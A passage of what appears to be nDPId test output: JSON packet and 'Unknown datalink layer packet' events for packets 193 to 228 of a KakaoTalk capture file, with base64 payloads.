packet","thread_id":0,"packet_id":193,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00501{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":194,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":938910,"pkt_caplen":147,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":147,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIMAAEAAQBHaHwoYUrwByQGuKBxaBgBvAX6AbDFYfql2g1Sapdo\/M9LJCFVVaGaQY7Wk5xUxZWXWDRGqSuEfe7ccdj8XKe0mRh+jLmkKGgOpBupJ\/CA01XOzAEKsoWUf6gcybwJuJORlwWSX7+zwbx+x571ehaYsT6KL0qq+xFKh"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":194,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00491{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":195,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":978125,"pkt_caplen":141,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":141,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAH0AAEAAQBHaJQoYUrwByQGuKBxaBgBpGQOAbDFZfql6Q1Sapdp+ZCV5s0i7N7yvsJP6k5ZwIlF1HRGVnNVrMD4pZWT+gdhwcMjRJDMXNAI15bhTAAZmM+fKuO0PshbGe8MwhMP7i4FAiHiAD8iNDyBoOxRKrrLhfPg2"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":195,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00502{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":196,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":979621,"pkt_caplen":145,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":145,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIEAAEAAHRH8+QHJAa4KGFK8WgQsOABty8aAbDFWfqlvA1Sapdqb3SzG8FpETOGDowtdZo4Hl6YGIAM+0MQn1R5Lg\/4cFXHSha0oGf1mQuehqcT+oJqVba+AjPUV3vrVNx+JBGnH7YmHcWmlKxmo\/HMEUyFJ8jEM3AD3\/P8Usw=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":196,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":197,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":987525,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/luGAbE7QizoNWguGVRmqjgtzutx1\/GV9A8inDfN6l8bWMqe5J52WKNjKXLUIfg2Qm9NmuDPsu4fC"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":197,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":198,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":995612,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/6AmAbE7RizoRGguGVRlKotIIZr25xPEduBVsjWeppTJ8OypCnjO\/Vv4TKkg4ucKGYxKDfVWtohsD"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":198,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":199,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":7270,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/CvqAbE7TizoYmguGVRnUXVN1QI2hnqm0q\/HzZUYhAyeE2OMUbHEM2NiQsalb3aAH1uxyafZdwNw2"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":199,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":200,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":8521,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/tPOAbE7UizocWguGVRnd1\/0xeHrEekQdwYeHmMjLZEAvEe2ItpCPbAap1MaYSQJ6JlVhsOcy\/TN1"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":200,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00486{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":201,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":23993,"pkt_caplen":136,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":136,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHgAAEAAQBHaKgoYUrwByQGuKBxaBgBkQS2AbDFafql+A1SapdqE59KHkg0FHOgqCf8Pwb5m2yDkj9JrZyl5yIu013fzy9CkiZOzT3E7tbx2SBxzo0QddtOX5WZV6j2Zx4T+QVpFKgjjrDRgCd2RkkVOxnTb5A=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":201,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00517{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":202,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":48896,"pkt_caplen":159,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":159,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAI8AAEAAHRH86wHJAa4KGFK8WgQsOAB75T+AbDFXfqlyw1SapdpU4hephpH0P42S9PIoF0w3r+h96chymAqBUTkNReOfPZ4Afe\/oyqB+76Nd1RzDk1CKliQEtgnMKFiUUASKeBCHTeiX+lGwJoYPbIuXaB4wDFEVkzLsdd7mzWdp\/W0L7xG+3xJb\/7TN"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":202,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":203,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":89057,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/slqAbE7SizoU2guGVRmrLY5sXYqbQzX\/DN3yne3uJkQul4ubFaPiuyYZHu\/o8GgGsIoR+bx\/Zgrx"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":203,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":204,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":116522,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/JimAbE7VizogGguGVRn44qzqcDO42PyerBVxnOfG4mEaV3V9FftevMmYhGcIpaLhLJ19TrsmYBCh"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":204,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":205,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":116675,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/xB+AbE7Wizoj2guGVRn5kTPDnzidE4wLcK2LKGA12McvSImzsINkPpFjeLChVC2kJoJCYlCD6h8B"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":205,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00502{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":206,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":123969,"pkt_caplen":145,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":145,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIEAAEAAQBHaIQoYUrwByQGuKBxaBgBtpCeAbDFbfqmBw1SapdpCv314XpZ6YxnKA\/mxdC0VjMh68AvknN\/iLfESakCGrklXuQj1fUTQiyJ0oO1kzFbP0mkLOdhxU9ZmBv5RVyj4XLs6IgPpvhvCDtlKvl4qVCU\/AbK2tGEqdA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":206,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00502{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":207,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":127661,"pkt_caplen":147,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":147,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIMAAEAAHRH89wHJAa4KGFK8WgQsOABv\/WOAbDFYfql2g1Sapdo\/M9LJCFVVaGaQY7Wk5xUxZWXWDRGqSuEfe7ccdj8XKe0mRh+jLmkKGgOpBupJ\/CA01XOzAEKsoWUf6gcybwJuJORlwWSX7+zwbx+x571ehaYsT6KL0qq+xFKh"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":207,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00481{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":208,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":165412,"pkt_caplen":132,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":132,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHQAAEAAQBHaLgoYUrwByQGuKBxaBgBgE+qAbDFcfqmFg1SapdoGuNl4gba1fS573XQJXM7g5hv6s2FnN3TzamvL7\/uXq63V0VseckXYBcmxzubrLhGu7K96bgfLU5xdsmZEXq\/lnixkFwO2ha2xljQ3"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":208,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00492{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":209,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":179602,"pkt_caplen":141,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":141,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAH0AAEAAHRH8\/QHJAa4KGFK8WgQsOABpFOmAbDFZfql6Q1Sapdp+ZCV5s0i7N7yvsJP6k5ZwIlF1HRGVnNVrMD4pZWT+gdhwcMjRJDMXNAI15bhTAAZmM+fKuO0PshbGe8MwhMP7i4FAiHiAD8iNDyBoOxRKrrLhfPg2"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":209,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":210,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":188086,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/DxSAbE7TizoYmguGVRnUXVN1QI2hnqm0q\/HzZUYhAyeE2OMUbHEM2NiQsalb3aAH1uxyafZdwNw2"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":210,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":211,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":195807,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/uQ2AbE7UizocWguGVRnd1\/0xeHrEekQdwYeHmMjLZEAvEe2ItpCPbAap1MaYSQJ6JlVhsOcy\/TN1"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":211,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00497{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":212,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":204138,"pkt_caplen":144,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":144,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIAAAEAAQBHaIgoYUrwByQGuKBxaBgBsPTuAbDFdfqmJQ1SapdoJ5lCXLM2A\/v3A4gDrAMryQU9QMxJXx77qQ3ao3GVuZrqCLnSQgF3nfi+1VV+RVAtR8sbj1nwtKN\/SZsQlZkIXtarGACVnE5JwQOAGK6WdDpqdE+m377jL"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":212,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":213,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":208228,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/+biAbE7XizonmguGVRmsXEP\/OITpcULQt7+8Wd3fQzQMgWV3BpHPaljwnVVfWE6BaRwjnAYpGTK6"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":213,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00487{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":214,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":229468,"pkt_caplen":136,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":136,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHgAAEAAHRH9AgHJAa4KGFK8WgQsOABkPROAbDFafql+A1SapdqE59KHkg0FHOgqCf8Pwb5m2yDkj9JrZyl5yIu013fzy9CkiZOzT3E7tbx2SBxzo0QddtOX5WZV6j2Zx4T+QVpFKgjjrDRgCd2RkkVOxnTb5A=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":214,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":215,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":279853,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/KkOAbE7VizogGguGVRn44qzqcDO42PyerBVxnOfG4mEaV3V9FftevMmYhGcIpaLhLJ19TrsmYBCh"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":215,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00495{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":216,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":283057,"pkt_caplen":144,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":144,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIAAAEAAQBHaIgoYUrwByQGuKBxaBgBsLV6AbDFefqmNA1SapdoY7KFlIAAmI9XsG5cD+SScBToU3ZdGjbhpDtcX9YNjUHXT23PVoJocKKByGnHuERNNOFgqFlJ7qunXRPAkWjaMY3197A5Ina4vEKD9u2KBiMIgujm079lM"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":216,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":217,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":287543,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/yDmAbE7Wizoj2guGVRn5kTPDnzidE4wLcK2LKGA12McvSImzsINkPpFjeLChVC2kJoJCYlCD6h8B"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":217,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00502{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":218,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":295691,"pkt_caplen":145,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":145,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIEAAEAAHRH8+QHJAa4KGFK8WgQsOABtoA2AbDFbfqmBw1SapdpCv314XpZ6YxnKA\/mxdC0VjMh68AvknN\/iLfESakCGrklXuQj1fUTQiyJ0oO1kzFbP0mkLOdhxU9ZmBv5RVyj4XLs6IgPpvhvCDtlKvl4qVCU\/AbK2tGEqdA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":218,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":219,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":310980,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/JCWAbE7YizorWguGVRkmREMSKJlTdJarWJC+XzkFm4tXfwcCSZi5CHqJ0HvvUmnKksWQvNehtVDx"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":219,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":220,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":311133,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/7laAbE7ZizovGguGVRnmZXc\/uUcObDWXjEW8LYMqYW1tyRG1LmhhR0RjBIPYC1WAkFvmnPwOo7Qc"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":220,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00504{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":221,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":324805,"pkt_caplen":148,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":148,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIQAAEAAQBHaHgoYUrwByQGuKBxaBgBwJj+AbDFffqmQw1SapdrgjT6RBzmpZ2WdhHEeLzsDPdwvmdzx12wN+SaA9f33LVwPfuI62CZCulU8bhziy0gTLDpwq3K74IMEakOYrJ2c7Ol\/gKCfQHZj7u3Fr73J39PMxPmc8SIQqIDXog=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":221,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00481{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":222,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":335822,"pkt_caplen":132,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":132,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHQAAEAAHRH9BgHJAa4KGFK8WgQsOABgD9CAbDFcfqmFg1SapdoGuNl4gba1fS573XQJXM7g5hv6s2FnN3TzamvL7\/uXq63V0VseckXYBcmxzubrLhGu7K96bgfLU5xdsmZEXq\/lnixkFwO2ha2xljQ3"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":222,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00497{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":223,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":379859,"pkt_caplen":144,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":144,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIAAAEAAHRH8+gHJAa4KGFK8WgQsOABsOSGAbDFdfqmJQ1SapdoJ5lCXLM2A\/v3A4gDrAMryQU9QMxJXx77qQ3ao3GVuZrqCLnSQgF3nfi+1VV+RVAtR8sbj1nwtKN\/SZsQlZkIXtarGACVnE5JwQOAGK6WdDpqdE+m377jL"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":223,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":224,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":381171,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/\/dKAbE7XizonmguGVRmsXEP\/OITpcULQt7+8Wd3fQzQMgWV3BpHPaljwnVVfWE6BaRwjnAYpGTK6"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":224,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":225,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":410193,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/4d+AbE7aizoy2guGVRmpW7DZ84v+drTo4jtmQew7XgGGMRyLzoOa3Zy9pYtTwb\/ARo5rbu6LYcBR"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":225,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":226,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":410376,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/oFWAbE7bizo2mguGVRkL39YZxE46NPS3lde3HULzoOLq67YBc+heA+x5t1DYCQ3UtFlyf4K1VMeG"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":226,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00495{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":227,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":415656,"pkt_caplen":144,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":144,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIAAAEAAHRH8+gHJAa4KGFK8WgQsOABsKUSAbDFefqmNA1SapdoY7KFlIAAmI9XsG5cD+SScBToU3ZdGjbhpDtcX9YNjUHXT23PVoJocKKByGnHuERNNOFgqFlJ7qunXRPAkWjaMY3197A5Ina4vEKD9u2KBiMIgujm079lM"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":227,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00497{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":228,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069173,"pkt_ts_usec":427344,"pkt_caplen":143,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":143,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAH8AAEAAQBHaIwoYUrwByQGuKBxaBgBrUoCAbDFgfqmUg1SapdrGx+4z1sOGK7pAai37gQmvttOUsdHqUboPhjHPhN8A7O\/Q1MEwn2VcXxHHSoq7tJilpbAytwLdpIBuT2PTgK89YmEh91GSqAKBWCwC3\/ekjZUOtH0XPYs="} 